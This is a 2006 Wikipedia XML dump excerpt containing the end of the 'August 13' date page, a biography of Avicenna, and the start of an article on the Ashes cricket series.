*[[1949]] - [[Bobby Clarke]], Canadian hockey player
*[[1951]] - [[Dan Fogelberg]], American singer
*[[1952]] - [[Herb Ritts]], American photographer (d. [[2004]])
*[[1959]] - [[Danny Bonaduce]], American actor
*[[1961]] - [[Sandra Miranda]], Puerto Rican Hair Stylist and Entrepeneur
*[[1967]] - [[Amélie Nothomb]], Belgian writer
*[[1969]] - [[Midori Ito]], Japanese figure skater
*[[1970]] - [[Matthew Hyson]], American professional wrestler
*1970 - [[Alan Shearer]], English footballer
*[[1971]] - [[Nichola Holt]], contestant in [[Big Brother UK series 1]] and porn actress
*[[1972]] - [[Hani Hanjour]], [[September 11, 2001]] pilot and terrorist
*[[1973]] - [[Brittany Andrews]], American model and actress
*[[1975]] - [[Joe Perry (snooker player)|Joe Perry]], English snooker player
*[[1977]] - [[Michael Klim]], Australian swimmer
*[[1979]] - [[Taizo Sugimura]], Japanese politician
*[[1982]] - [[Shani Davis]], American speed skater

==Deaths==
*[[586]] - [[Radegund]], queen of [[Clotaire I]]
*[[900]] - [[Zwentibold]], last King of Lotharingia (b. [[870]])
*[[1382]] - [[Eleanor of Aragon]], queen of [[John I of Castile]] (b. [[1358]])
*[[1523]] - [[Gerard David]], Flemish painter
*[[1617]] - [[Johann Jakob Grynaeus]], Swiss protestant clergyman (b. [[1540]])
*[[1667]] - [[Jeremy Taylor]], Irish author and bishop (b. [[1613]])
*[[1686]] - [[Louis Maimbourg]], French-born historian (b. [[1610]])
*[[1744]] - [[John Cruger]], Dutch-born Mayor of New York (b. [[1678]])
*[[1749]] - [[Johann Elias Schlegel]], German critic and poet (b. [[1719]])
*[[1755]] - [[Francesco Durante]], Italian composer (b. [[1684]])
*[[1826]] - [[René Laënnec]], French physician (b. [[1781]])
*[[1863]] - [[Eugène Delacroix]], French painter (b. [[1798]])
*[[1865]] - [[Ignaz Semmelweis]], Austro-Hungarian physician (b. [[1818]])
*[[1910]] - [[Florence Nightingale]], English nurse (b. [[1820]])
*[[1912]] - [[Jules Massenet]], French composer (b. [[1842]])
*[[1917]] - [[Eduard Buchner]], German chemist, [[Nobel Prize in Chemistry|Nobel Prize]] laureate (b. [[1860]])
*[[1946]] - [[H. G. Wells]], English writer (b. [[1866]])
*[[1958]] - [[Otto Witte]], acrobat and King of Albania (b. [[1868]])
*[[1965]] - [[Ikeda Hayato]], [[Prime Minister of Japan]] (b. [[1899]])
*[[1984]] - [[Tigran Petrosian]], Georgian chess player (b. [[1929]]). 
*[[1989]] - [[Tim Richmond]], American race car driver (b. [[1955]])
*[[1994]] - [[Elias Canetti]], Bulgarian-born writer, [[Nobel Prize in Literature|Nobel Prize]] laureate (b. [[1905]])
*[[1995]] - [[Jan Kresadlo|Jan K&amp;#345;esadlo]], Czech-born writer (b. [[1926]])
*1995 - [[Mickey Mantle]], baseball player (b. [[1931]])
*[[1996]] - [[David Tudor]], American pianist and composer (b. [[1926]]).
*[[1999]] - [[Jaime Garzón]], [[Colombia]]n [[journalist]] and [[comedian]], murdered (b. [[1960]])
*[[2003]] - [[Ed Townsend]], American songwriter and producer (b. [[1929]]).
*[[2004]] - [[Julia Child]], American chef and television personality (b. [[1912]])
*[[2005]] - [[David Lange]], [[Prime Minister of New Zealand]] (b. [[1942]])

==Holidays and observances==
*[[Roman festivals]] - [[Vertumnalias]] in honor of [[Vertumnus]], and also Diana, on the [[Aventine]] hill
*[[Calendar of saints|RC saints]] - [[Pontian|Pontianus]] and [[Hippolytus (writer)|Hippolytus]], [[Radegund|Radegunde]] (help against the pox), [[Cassian|Cassianus of Imola]] (patron of shorthand-writers)
*[[International Lefthanders Day]]
* In Brasil, Friday [[13 August]] (''agosto'') is considered to be especially filled with sorrow (''desgosto'')

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/august/13 BBC: On This Day]

----

[[August 12]] - [[August 14]] - [[July 13]] - [[September 13]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:13 Augustus]]
[[ar:13 أغسطس]]
[[an:13 d'agosto]]
[[ast:13 d'agostu]]
[[bg:13 август]]
[[be:13 жніўня]]
[[bs:13. august]]
[[ca:13 d'agost]]
[[ceb:Agosto 13]]
[[cv:Çурла, 13]]
[[co:13 d'aostu]]
[[cs:13. srpen]]
[[cy:13 Awst]]
[[da:13. august]]
[[de:13. August]]
[[et:13. august]]
[[el:13 Αυγούστου]]
[[es:13 de agosto]]
[[eo:13-a de aŭgusto]]
[[eu:Abuztuaren 13]]
[[fo:13. august]]
[[fr:13 août]]
[[fy:13 augustus]]
[[ga:13 Lúnasa]]
[[gl:13 de agosto]]
[[ko:8월 13일]]
[[hr:13. kolovoza]]
[[io:13 di agosto]]
[[id:13 Agustus]]
[[ia:13 de augusto]]
[[ie:13 august]]
[[is:13. ágúst]]
[[it:13 agosto]]
[[he:13 באוגוסט]]
[[jv:13 Agustus]]
[[ka:13 აგვისტო]]
[[csb:13 zélnika]]
[[ku:13'ê gelawêjê]]
[[lt:Rugpjūčio 13]]
[[lb:13. August]]
[[li:13 augustus]]
[[hu:Augusztus 13]]
[[mk:13 август]]
[[ms:13 Ogos]]
[[nap:13 'e aùsto]]
[[nl:13 augustus]]
[[ja:8月13日]]
[[no:13. august]]
[[nn:13. august]]
[[oc:13 d'agost]]
[[pl:13 sierpnia]]
[[pt:13 de Agosto]]
[[ro:13 august]]
[[ru:13 августа]]
[[sco:13 August]]
[[sq:13 Gusht]]
[[scn:13 di austu]]
[[simple:August 13]]
[[sk:13. august]]
[[sl:13. avgust]]
[[sr:13. август]]
[[fi:13. elokuuta]]
[[sv:13 augusti]]
[[tl:Agosto 13]]
[[tt:13. August]]
[[te:ఆగష్టు 13]]
[[th:13 สิงหาคม]]
[[vi:13 tháng 8]]
[[tr:13 Ağustos]]
[[uk:13 серпня]]
[[wa:13 d' awousse]]
[[war:Agosto 13]]
[[zh:8月13日]]
[[pam:Agostu 13]]</text>
    </revision>
  </page>
  <page>
    <title>Avicenna</title>
    <id>1130</id>
    <revision>
      <id>41797752</id>
      <timestamp>2006-03-01T20:45:08Z</timestamp>
      <contributor>
        <username>Zmmz</username>
        <id>944720</id>
      </contributor>
      <comment>consistent with britannica, columbia, merriam-webster etc.</comment>
      <text xml:space="preserve">[[Image:AvicennaPersian.jpg|thumb|The works of Avicenna, the greatest of the medieval Islamic physicians, played a crucial role in the [[European Renaissance]].]]
'''Abū ‘Alī al-Ḥusayn ibn ‘Abd Allāh ibn Sīnā''' ([[Arabic language|Arabic]]: '''أبو علي الحسين بن عبد الله بن سينا''') often refered to by his [[Latinized]] name '''Avicenna''' was a [[Persian]] [[Muslim]] [[physician]], [[philosopher]], and [[scientist]] who was born in [[980]] in [[Kharmaithen]] near [[Bukhara]], now in [[Uzbekistan]] (then [[Iran]]), and died June [[1037]] in [[Hamadan]], [[Iran]].

He was the [[author]] of 450 books on a wide range of subjects. Many of these concentrated on [[philosophy]] and [[medicine]]. He is considered by many to be &quot;the father of modern medicine.&quot; [[George Sarton]] called Ibn Sina &quot;the most famous scientist of [[Islam]] and one of the most famous of all races, places, and times.&quot; His most famous works are ''[[The Book of Healing]]'' and ''[[The Canon of Medicine]]'', also known as the ''Qanun'' (full title: ''al-qanun fil-tibb'').

==Early life==
His life is known to us from authoritative sources. An autobiography covers his first thirty years, and the rest are documented by his disciple al-Juzajani, who was also his secretary and his friend.

He was born in 370 (AH) / 980 (AD) in Afshana, his mother's home, a small city now part of [[Uzbekistan]] (then part of the Islamic [[Caliphate]]) and his Father from [[Balkh]] now part of [[Afghanistan]] (then also part of the Islamic [[Caliphate]]). His native language was Persian. His father, an official of the Samanid administration, had him very carefully educated at Bukhara. Although traditionally influenced by the [[Ismaili]] branch of Islam, his independent thought was served by an extraordinary intelligence and memory, which allowed him to overtake his teachers at the age of fourteen. 

[[Ibn Sina]] was put under the charge of a tutor, and his precocity soon made him the marvel of his neighbours; he displayed exceptional [[intellect]]ual behaviour and was a [[Child prodigy|child prodigy]] who had memorized the [[Koran]] by the age of 10 and a great deal of [[Arabic poetry]] as well.  From a greengrocer he learned [[arithmetic]], and he began to learn more from a wandering scholar who gained a livelihood by curing the sick and teaching the young.  

However he was greatly troubled by [[metaphysics|metaphysical]] problems and in particular the works of [[Aristotle]]. So, for the next year and a half, he also studied [[philosophy]], in which he encountered greater obstacles. In such moments of baffled inquiry, he would leave his books, perform the requisite ablutions, then go to the [[mosque]], and continue in prayer till light broke on his difficulties. Deep into the night he would continue his studies, stimulating his senses by occasional cups of goat's milk, and even in his dreams problems would pursue him and work out their solution. Forty times, it is said, he read through the ''Metaphysics'' of [[Aristotle]], till the words were imprinted on his memory; but their meaning was hopelessly obscure, until one day they found illumination, from the little commentary by [[Farabi]], which he bought at a bookstall for the small sum of three dirhems. So great was his joy at the discovery, thus made by help of a work from which he had expected only mystery, that he hastened to return thanks to God, and bestowed alms upon the poor. 

He turned to [[medicine]] at 16, and not only learned medical theory, but by gratuitous attendance on the sick had, according to his own account, discovered new methods of [[treatment]]. The teenager achieved full status as a physician at age 18 and found that &quot;Medicine is no hard and thorny science, like [[mathematics]] and [[metaphysics]], so I soon made great progress; I became an excellent doctor and began to treat patients, using approved remedies.&quot; The youthful physician's fame spread quickly, and he treated many patients without asking for payment. 

His first appointment was that of physician to the [[emir]], who owed him his recovery from a dangerous illness ([[997]]). Ibn Sina's chief reward for this service was access to the royal [[library]] of the [[Samanids]], well-known patrons of scholarship and scholars. When the library was destroyed by fire not long after, the enemies of Ibn Sina accused him of burning it, in order for ever to conceal the sources of his knowledge. Meanwhile, he assisted his father in his financial labours, but still found time to write some of his earliest works.

When Ibn Sina was 22 years old, he lost his father. The [[Samanid dynasty]] came to its end in December [[1004]]. Ibn Sina seems to have declined the offers of [[Mahmud of Ghazni]], and Ibn Sina proceeded westwards to [[Urgench]] in the modern [[Uzbekistan]], where the [[vizier]], regarded as a friend of scholars, gave him a small monthly stipend. The pay was small, however, so Ibn Sina wandered from place to place through the districts of [[Nishapur]] and [[Merv]] to the borders of [[Khorasan]], seeking an opening for his talents. [[Shams al-Ma'äli Qäbtis]], the generous ruler of [[Dailam]], himself a poet and a scholar, with whom Ibn Sina had expected to find an asylum, was about that date ([[1052]]) starved to death by his own revolted soldiery. Ibn Sina himself was at this season stricken down by a severe illness. Finally, at [[Gorgan]], near the [[Caspian Sea]], Ibn Sina met with a friend, who bought a dwelling near his own house in which Ibn Sina lectured on [[logic]] and [[astronomy]]. For this patron, several of Ibn Sina's treatises were written; and the commencement of his ''Canon of Medicine'' also dates from his stay in [[Hyrcania]].

[[image:Avicenna2.jpg|thumb|200px|left|Poland commemorated Avicenna's life and work in this postage stamp]]

Ibn Sina subsequently settled at [[Ray, Iran|Rai]], in the vicinity of the modern [[Tehran]], (present day capital of Iran), the home town of [[Rhazes]]; where [[Majd Addaula]], a son of the last [[emir]], was nominal ruler under the regency of his mother ([[Seyyedeh Khatun]]). At Rai about thirty of his shorter works are said to have been composed. Constant feuds which raged between the regent and her second son, [[Amir Shamsud-Dawala]], compelling the scholar to quit the place. After a brief sojourn at [[Qazvin]], he passed southwards to Hamadãn, where that prince had established himself. At first, Ibn Sina entered into the service of a high-born lady; but the emir, hearing of his arrival, called him in as medical attendant, and sent him back with presents to his dwelling. Ibn Sina was even raised to the office of vizier. The amir consented that he should be banished from the country. Ibn Sina, however, remained hidden for forty days in a [[shaikh|sheikh]]'s house, till a fresh attack of illness induced the emir to restore him to his post. Even during this perturbed time, Ibn Sina prosecuted his studies and teaching. Every evening, extracts from his great works, the ''Canon'' and the ''Sanatio'', were dictated and explained to his pupils; among whom, when the lesson was over, he spent the rest of the night in festive enjoyment with a band of singers and players. On the death of the amir, Ibn Sina ceased to be vizier and hid himself in the house of an [[apothecary]], where, with intense assiduity, he continued the composition of his works. 

Meanwhile, he had written to [[Abu Ya'far]], the [[prefect]] of the dynamic city of [[Isfahan (city)|Isfahan]], offering his services. The new emir of Hamadan, hearing of this correspondence and discovering where Ibn Sina's was hidden, incarcerated him in a fortress. War meanwhile continued between the rulers of Isfahan and Hamadãn; in [[1024]] the former captured Hamadan and its towns, expelling the Turkish [[mercenary|mercenaries]]. When the storm had passed, Ibn Sina returned with the amir to Hamadan, and carried on his literary labours. Later, however, accompanied by his brother, a favourite pupil, and two slaves, Ibn Sina escaped out of the city in the dress of a [[Sufi|Sufite]] [[ascetic]]. After a perilous journey, they reached Isfahan, receiving an honourable welcome from the prince. Avicenna also introduced medical herbs.

==Late life==
The remaining ten or twelve years of Avicenna's life were spent in the service of [[Abu Ya'far 'Ala Addaula]], whom he accompanied as physician and general literary and scientific adviser, even in his numerous campaigns.  

During these years he began to study [[literature|literary]] matters and [[philology]], instigated, it is asserted, by criticisms on his style. But amid his restless study Ibn Sina never forgot his love of enjoyment. Unusual bodily vigour enabled him to combine severe devotion to work with facile indulgence in sensual pleasures. Versatile, lighthearted, boastful and pleasure-loving, he contrasts with the nobler and more intellectual character of [[Averroes]]. His bouts of pleasure gradually weakened his constitution; a severe [[colic]], which seized him on the march of the army against Hamadãn, was checked by remedies so violent that Ibn Sina could scarcely stand. On a similar occasion the disease returned; with difficulty he reached Hamadãn, where, finding the disease gaining ground, he refused to keep up the regimen imposed, and resigned himself to his fate. 

His friends advised him to slow down and take life moderately. He refused, however, stating that: ''&quot;I prefer a short life with width to a narrow one with length&quot;''.  On his deathbed remorse seized him; he bestowed his goods on the poor, restored unjust gains, freed his slaves, and every third day till his death listened to the reading of the Qur'an. He died in June [[1037]], in his fifty-eighth year, and was buried in [[Hamedan]], [[Iran]].

==Works==
Ibn Sina is comparable to such greats as [[Abu Bakr Mohammad Ibn Zakariya al-Razi]]. However, despite such glorious tributes to his work, Ibn Sina is rarely remembered in the West today and his fundamental contributions to medicine and the European reawakening go largely unrecognised. 

Ibn Sina is usually considered as a great philosopher and physician. His philosophical disciple is not a live school in western philosophy today. Unfortunately, the West only pays attention to some portion of his philosophy, which is known as the ''Latin Avicennaian School,''  and his other significant philosophical contribution, which had been hailed by [[Suhrawardi]], is still unknown to West. This notable part is called '''حكمت مشرقيه''' (''hikmat-al-mashriqqiyya'') by him. In some of his writings, he mentions this to his disciples as his major achievement. Heavily influenced by Ibn Sina, [[Suhrawardi]] made philosophical contributions which have developed much from  Ibn Sina's work, later founding [[illuminationist philosophy]] and believing to have finished what Ibn Sina began.

Ibn Sina also wrote extensively on the subjects of [[philosophy]], [[logic]], [[ethics]], [[metaphysics]] and other disciplines.  All his works were written in [[Arabic language|Arabic]] - which was the ''de facto'' scientific [[language]] of that time, and some were written in the Persian language. Of linguistic significance even to this day are a few books that he wrote in nearly pure Persian language[citation needed]. Unlike [[Aquinas]] who more or less sanctified Aristotle as church dogma, Ibn Sina corrected him often, encouraging a lively debate in the spirit of [[ijtihad]].  Accordingly he is one of the earliest pioneers of the scientific process of [[peer review]] as we know it today, his influence on that process being profound at least, and perhaps even decisive.

About 100 treatises were ascribed to Ibn Sina. Some of them are tracts of a few pages, others are works extending through several volumes. The best-known amongst them, and that to which Ibn Sina owed his European reputation, is his 14-volume ''[[The Canon of Medicine]]'', which was a standard medical text in Western Europe for seven centuries.  It classifies and describes diseases, and outlines their assumed causes.  [[Hygiene]], simple and complex medicines, and functions of parts of the body are also covered.  It asserts that [[tuberculosis]] was contagious, which was later disputed by Europeans, but turned out to be true.  It also describes the symptoms and complications of [[diabetes]].  An Arabic edition of the ''Canons'' appeared at Rome in [[1593]], and a Hebrew version at Naples in [[1491]]. Of the Latin version there were about thirty editions, founded on the original translation by [[Gerard of Cremona]]. The [[15th century]] has the honour of composing the great commentary on the text of the ''Canon'', grouping around it all that theory had imagined, and all that practice had observed. Other medical works translated into Latin are the ''Medicamenta Cordialia'', ''Canticum de Medicina'', and the ''Tractatus de Syrupo Acetoso''. 

It was mainly accident which determined that from the [[12th century|12th]] to the [[17th century]] Ibn Sina should be the guide of medical study in European universities, and eclipse the names of Rhazes, [[Ali ibn al-Abbas]] and [[Averroes]]. His work is not essentially different from that of his predecessor Rhazes, because he presented the doctrine of [[Galen]], and through Galen the doctrine of [[Hippocrates]], modified by the system of Aristotle. But the ''Canon'' of Avicenna is distinguished from the ''Al-Hawi'' (Continens) or ''Summary'' of Rhazes by its greater method, due perhaps to the logical studies of the former. The work has been variously appreciated in subsequent ages, some regarding it as a treasury of wisdom, and others, like [[Averroes]], holding it useful only as waste paper. In modern times it has been more criticized than read. The vice of the book is excessive classification of bodily faculties, and over-subtlety in the discrimination of diseases. It includes five books; of which the first and second treat of [[physiology]], [[pathology]] and [[hygiene]], the third and fourth deal with the methods of treating disease, and the fifth describes the composition and preparation of remedies. This last part contains some personal observations. He is, like all his countrymen, ample in the enumeration of symptoms, and is said to be inferior to Ali in practical medicine and [[surgery]]. He introduced into medical theory the four causes of the [[Peripatetic]] system. Of [[natural history]] and [[botany]] he pretended to no special knowledge. Up to the year [[1650]], or thereabouts, the ''Canon'' was still used as a textbook in the universities of [[Leuven]] and [[Montpellier]].

Scarcely any member of the Arabian circle of the sciences, including [[theology]], [[philology]], [[mathematics]], [[astronomy]], [[physics]], and [[music]], was left untouched by the treatises of Ibn Sina, many of which probably varied little, except in being commissioned by a different patron and having a different form or extent. He wrote at least one treatise on [[alchemy]], but several others have been falsely attributed to him. His book on [[animal]]s was translated by [[Michael Scot]]. His ''Logic'', ''Metaphysics'', ''Physics'', and ''De Caelo'', are treatises giving a synoptic view of Aristotelian doctrine. The ''Logic'' and ''Metaphysics'' have been printed more than once, the latter, e.g., at Venice in [[1493]], [[1495]], and [[1546]]. Some of his shorter essays on medicine, logic, &amp;c., take a poetical form (the poem on logic was published by Schmoelders in [[1836]]). Two encyclopaedic treatises, dealing with philosophy, are often mentioned. The larger, [[Al-Shifa']] (''Sanatio''), exists nearly complete in manuscript in the [[Bodleian Library]] and elsewhere; part of it on the ''De Anima'' appeared at Pavia ([[1490]]) as the ''Liber Sextus Naturalium'', and the long account of Ibn Sina's philosophy given by [[Shahrastani]] seems to be mainly an analysis, and in many places a reproduction, of the Al-Shifa'. A shorter form of the work is known as the [[An-najat]] (''Liberatio''). The Latin editions of part of these works have been modified by the corrections which the monastic editors confess that they applied. There is also a ''Philosophia Orientalis'', mentioned by [[Roger Bacon]], and now lost, which according to Averroes was pantheistic in tone.

In the museum at [[Bukhara]], there are displays showing many of his writings, surgical instruments from the period and paintings of patients undergoing treatment. 

In Iran, he is considered a Persian hero. He is often regarded as one of the greatest Persians who have ever lived. Many of his portraits and statues remain in Iran today. An impressive monument to the life and works of the man who is known as the 'doctor of doctors' still stands outside the Bukhara museum and his portrait hangs in the Hall of the Faculty of Medicine in the [[University of Paris]].

Ibn Sina was interested in the effect of the [[mind]] on the [[body]], and wrote a great deal on [[psychology]], likely influencing [[Ibn Tufayl]] and [[Ibn Bajjah]].

Along with [[Rhazes]], [[Ibn Nafis]], [[Al-Zahra]] and [[Al-Ibadi]], he is considered an important compiler of [[Early Muslim medicine]].

There is a crater on the moon called [[Avicenna (crater)|Avicenna]] which was named after him.

==References==
* For Ibn Sina's life, see [[Ibn Khallikan]]'s ''Biographical Dictionary'', translated by [[de Slane]] (1842); [[F. Wüstenfeld]]'s ''Geschichte der arabischen Aerzte und Naturforscher'' (Gottingen, 1840). 
* For his medicine, see [[Sprengel]], ''Histoire de la Medecine'' 
* For his philosophy, see 
** [[Shahrastani]], German translation, vol. ii. 213-332 
** [[K. Prantl]], ''Geschichte der Logik im Abendland'', ii. 318-361 
** [[Albert Stöckl]], ''Philosophie des Mittelalters'', ii. ~3-58 
** [[Salomon Munk]], ''Mélanges'', 352-366; [[B. Haneberg]] in the ''Abhandungen der philosophische-philologisches Classifikation der bayerischen Academie'' (1867); 
** [[Carra de Vaux]], ''Avicenne'' (Paris, 1900). 
* For a list of extant works, [[C. Brockelmann]]'s ''Geschichte der arabischen Litteratur'' (Weimar, 1898), vol. i. pp. 452-458. (XV. W.; G. W. T.)  
* For an overview of his career see [[Shams Inati]], &quot;Ibn Sina&quot; in ''History of Islamic Philosophy'', ed. [[Hossein Seyyed Nasr]] and [[Oliver Leaman]], New York:Routledge (1996).

==See also==
*[[List of Persian scientists]]
*[[Iranian philosophy]]
*[[History of medicine]]
*[[Early Muslim medicine]]
*[[Muslim philosophy]]
*[[Islamic scholars]]
*[[Al-Qumri]]

==External links==
*[http://www.farhangsara.com/ibn_sina.htm Biography of Avicenna (in English)]
*[http://www.muslimphilosophy.com/sina/default.htm Ibn Sina]
*[http://www.ummah.net/history/scholars/ibn_sina/ Biography of Avicenna]
*[http://www.newadvent.org/cathen/02157a.htm Catholic Encyclopedia: Avicenna]
* {{MacTutor Biography|id=Avicenna}}
*[http://www.formalontology.it/avicenna.htm The Ontology of Ibn Sina (Avicenna)]

==Source==
* {{1911}}
* History of Islamic Philosophy by [[Henry Corbin]]

{{Link FA|fr}}

[[Category:Persian people|Avicenna]]
[[Category:Medieval philosophers]]
[[Category:Aristotelian philosophers]]
[[Category:Muslim philosophers]]
[[Category:Persian philosophers]]
[[Category:History of medicine]]
[[Category:Alchemists]]
[[Category:980 births]]
[[Category:1037 deaths]]
[[Category:Iranian scientists|Avicenna]]
[[Category: Polymaths]]
[[Category:Muslim scientists]]

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    </revision>
  </page>
  <page>
    <title>The Ashes</title>
    <id>1132</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42036366</id>
      <timestamp>2006-03-03T10:25:53Z</timestamp>
      <contributor>
        <username>Mjpieters</username>
        <id>86312</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/212.30.31.17|212.30.31.17]] to last version by Jess Cully</comment>
      <text xml:space="preserve">{{dablink|For the rugby league series between Great Britain and Australia see [[Rugby League Ashes]]; for the &quot;Women's Ashes&quot; Test series for female players between England and Australia see [[Women's Ashes]].}}
[[Image:Ashes_urn.jpg|right|frame|The Ashes [[urn]] is reputed to contain a set of burnt [[bail (cricket)|bails]] symbolising the death of English cricket.]]
'''The Ashes''' is a [[biennial]] [[Test cricket]] contest played between [[English cricket team|England]] and [[Australian cricket team|Australia]].  The Ashes is one of cricket's fiercest and most celebrated rivalries, and certainly the oldest such in international cricket, dating back to 1882.  The [[The 2005 Ashes|2005 Ashes series]] was played in [[England]], and was won by England. Australia had held the Ashes for 16 years prior to that. The next Ashes series will be in [[Australia]] in 2006-07; the next series in England will be in 2009.

The series is named after a [[satire|satirical]] [[obituary]] published in ''The Sporting Times'' in 1882 following the match at [[The Oval]], in which Australia beat England in [[England]] for the first time.  The obituary stated that English cricket had died, and ''the body will be cremated and the ashes taken to Australia''.  The English media dubbed the next English tour to [[Australia]] as ''the quest to regain The Ashes''. A small [[terra cotta|terracotta]] urn was presented to the [[English cricket captains|England captain]] [[Ivo Bligh]] by a group of [[Melbourne]] women after England's victory in the Test series.  The urn is reputed to contain a set of burnt [[bail (cricket)|bails]] symbolising &quot;the ashes of English cricket&quot;.  While the urn has come to symbolise the Ashes series, the name ''The Ashes'' predates the existence of the urn.  The urn is not used as a [[trophy]] for the Ashes series, and whichever side &quot;holds&quot; the Ashes, the urn remains in the [[Marylebone Cricket Club|MCC]] Museum at [[Lord's Cricket Ground|Lord's]].  Since the 1998-99 Ashes series, a [[Waterford crystal]] trophy has been presented to the winners.

Notable Ashes series took place in 1932-33 (the [[Bodyline]] tour), 1948 ([[Donald Bradman|Sir Donald Bradman's]] &quot;[[The Invincibles (cricket)|Invincibles]]&quot; Australian side), 1981 (in which an England team spearheaded by [[Ian Botham]] won a thrilling series), and 2005 (when England eventually won the Ashes back, after a 'drought' of 16 years).

==The obituary==
[[Image:DeathofEnglishCricket.jpg|250px|thumb|The obituary notice that appeared in ''The Sporting Times''.]] The first Test match between England and Australia had been played in 1877, but the Ashes legend dates back only to their ninth Test match, played in 1882. 

On the 1882 tour, the Australians played only one Test, at [[The Oval]] in [[London]]. It was a low-scoring game on a difficult [[Cricket pitch|pitch]]. Australia made only 63 runs in their first [[innings]], and England, led by [[Monkey Hornby]], took a 38-run lead with a total of 101. In the second innings, Australia made 122, leaving England to score only 85 [[The result in cricket|runs to win]]. Australian bowler [[Fred Spofforth]] refused to give in, declaring, &quot;This thing can be done&quot;. He devastated the English batting, taking the final four wickets while conceding only two runs, to leave England a mere seven runs short of victory in one of the closest and most nail-biting finishes in [[history of cricket|cricket history]].

When England's last batsman went in the team needed only 10 runs to win, but the final batsman Peate scored only 2 before being bowled by Boyle. The astonished crowd fell silent, not believing that England could possibly have lost by 7 runs. When what had happened had sunk in, the crowd cheered the Australians. 

When Peate returned to the Pavilion he was reprimanded by [[WG Grace]] for not allowing his partner at the wicket [[Charles Studd]] to get the runs. Despite Studd being one of the best batsman in England, Peate replied, &quot;I had no confidence in Mr Studd, sir, so thought I had better do my best.&quot; 

The defeat was widely recorded in the English press. The most notable report was a mock obituary, written by [[Reginald Shirley Brooks]], printed in ''[[The Sporting Times]]'' on the following Saturday, [[September 2]] [[1882]]. The obituary read as follows:

:&quot;In Affectionate Remembrance of ENGLISH CRICKET, which died at the Oval on 29th&amp;nbsp;AUGUST, 1882, Deeply lamented by a large circle of sorrowing friends and acquaintances R.I.P.
:N.B. &amp;mdash; The body will be cremated and the ashes taken to Australia.&quot;

The English media played up the subsequent tour to Australia in 1882-83 (which had been arranged before this defeat) as a quest to &quot;regain the Ashes&quot;.

==The Ashes urn==
After the third game of the 1882-83 tour, the English team, led by [[Ivo Bligh]] were guests of Sir William Clarke, at his property &quot;[[Rupertswood]]&quot; at [[Sunbury, Victoria]].  A group of [[Victoria (Australia)|Victoria]]n ladies headed by Lady Clarke burned what has variously been called a ball, bail or veil {{ref|Terminology}}, and presented the resulting ashes to Bligh in an [[urn]] together with a velvet bag, which was made by Mrs Ann Fletcher, the daughter of Joseph Hines Clarke and Marion Wright, both of [[Dublin]]. She said, &quot;What better way than to actually present the English captain with the very 'object' &amp;mdash; albeit mythical &amp;mdash; he had come to Australia to retrieve?&quot; Bligh later married another of these [[Melbourne|Melburnian]] ladies, Florence Morphy. When he died in 1927, his widow presented the urn to the [[Marylebone Cricket Club]]. The urn itself is made of [[terracotta]] and is about four&amp;nbsp;[[inch]]es (10&amp;nbsp;[[centimetre|cm]]) tall.

A poem was presented to Bligh with the urn and appears on it {{ref|poem}}:
:''When [[Ivo Bligh|Ivo]] goes back with the urn, the urn;''
:''[[Studd brothers|Studds]], [[Allan Steel|Steel]], [[Walter Read|Read]] and [[Edward Tylecote|Tylecote]] return, return;''
:''The welkin will ring loud,''
:''The great crowd will feel proud,''
:''Seeing [[Dick Barlow|Barlow]] and [[Billy Bates|Bates]] with the urn, the urn;''
:''And the rest coming home with the urn.''

The Ashes urn itself is never physically awarded to either England or Australia, but is kept permanently in the MCC Cricket Museum at [[Lord's Cricket Ground]], where it can be seen together with a specially-made red and gold velvet bag and the scorecard of the 1882 match. 

The urn has been back to Australia once, in 1988 for a museum tour as part of Australia's [[Bicentennial]] celebrations. In the 1990s, given Australia's long dominance of the Ashes series, the idea was mooted that the victorious team in an Ashes series should be awarded the urn as a trophy and allowed to retain it until the next series. The MCC, considering the urn too fragile to transport to Australia, instead began commissioning a larger-scale replica trophy in [[Waterford Crystal]] to award to the winning team of each series.

In 2002, Bligh's great-great-grandson (Lord Clifton, the heir-apparent to the [[Earl of Darnley|Earldom of Darnley]]) argued that the Ashes urn should not be returned to Australia as it was essentially the property of his family and only given to the MCC for safe-keeping.

==The matches==
''See also: [[List of Ashes series]] for a full listing of all the Ashes series since 1882.''

===First Ashes quest===
''See also: [[History of Test cricket (to 1883)#The Ashes legend|History of Test cricket (to 1883): The Ashes legend]]''

The [[Honourable Ivo Bligh]] led the expedition to Australia to &quot;recover the Ashes&quot; against the side that had beaten England earlier in 1882. Publicity surrounding the series was intense, and it was at some time during this series that the Ashes urn was crafted. Australia won the first Test by [[The result in cricket|nine wickets]], but in the next two England were victorious. At the end of the third Test, the four-inch urn was presented to Bligh by some Melburnian ladies, England having been generally considered to have &quot;won back the Ashes&quot; 2&amp;ndash;1. A fourth match was in fact played, against a &quot;United Australian XI&quot;, which was stronger than the Australian side that had competed in the previous matches; this game, however, is not considered part of the Ashes series.

===English dominance ends===
After this series followed an extended period of English dominance. The tours were shorter in the 1880s and 1890s than people have grown accustomed to in more recent years, possibly owing to the extended travelling time (the sea journey between the two countries took at least a month). Thus, England only lost four Ashes Tests in the 1880s, out of 23 played, and they won all the seven series contested. There was also more chopping and changing in the teams, there was no official board of selectors for each country (at times, two competing sides toured a nation), and popularity with the fans varied. The 1890s games were more closely fought, Australia taking their first series win since the match that sparked the legend in 1891-92 with a 2&amp;ndash;1 victory. England still dominated, winning the next three series despite continued player disputes. Towards the end of the decade, though, the Australians got more of a foothold, winning four successive series from 1897-98 to 1902.

===Repopularising of the Ashes===
After what the [[Marylebone Cricket Club|MCC]] saw as the problems of the earlier professional and amateur series, they decided to take control of organising tours themselves, and this led to the first MCC tour of Australia in 1903-1904. England won it against the odds, and [[Plum Warner]], the England captain, wrote up his version of the tour in his book ''How We Recovered The Ashes''. This book repopularised the Ashes myth in England, which continues to this day.

England and Australia shared the spoils for the next few years. The entrance of [[South African cricket team|South Africa]] onto the world cricketing scene meant less time for Ashes series, but even so there were four played after Plum Warner's series, each of the sides taking two victories. England won the last series in 1911-1912 by four matches to one, [[Jack Hobbs|Sir Jack Hobbs]] establishing himself as a regular with three centuries. England then retained the Ashes when they won the Triangular tournament, which also featured [[South African cricket team|South Africa]], in 1912. England looked as if they had established themselves as the dominating force by the time [[World War I]] intervened and brought a halt to all international cricket.

